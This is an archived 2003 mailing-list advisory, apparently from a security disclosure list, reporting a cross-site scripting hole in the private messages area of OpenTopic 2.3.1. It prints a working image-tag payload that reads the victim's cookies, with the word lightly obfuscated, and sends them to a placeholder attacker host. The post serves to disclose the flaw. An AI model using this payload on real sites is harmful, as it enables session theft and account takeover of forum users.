|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Frog Man (leseulfrog_at_hotmail.com)
Date: Sat Jan 04 2003 - 09:20:34 CST
Informations :
°°°°°°°°°°°°°°
Product : OpenTopic
Website : http://www.infopop.com
Version : 2.3.1
Problem : XSS (script injection) -> Cookies recovery
Location/Exploit :
°°°°°°°°°°°°°°°°°°
The XSS hole is in the private messages area (
http://[target]/OpenTopic?a=ugtpc ).
XSS to get cookie :
[IMG]http://[website]/img.gif"width="750"height="750"onmouseover="a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG]
More details about XSS :
°°°°°°°°°°°°°°°°°°°°°°°°
In French :
http://www.phpsecure.org/article/XSS.php
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.phpsecure.org%2Farticle%2FXSS.php&langpair=fr%7Cen&hl=en&ie=ASCII&oe=ASCII
frog-m
n
_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://www.msn.fr/msger/default.asp
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]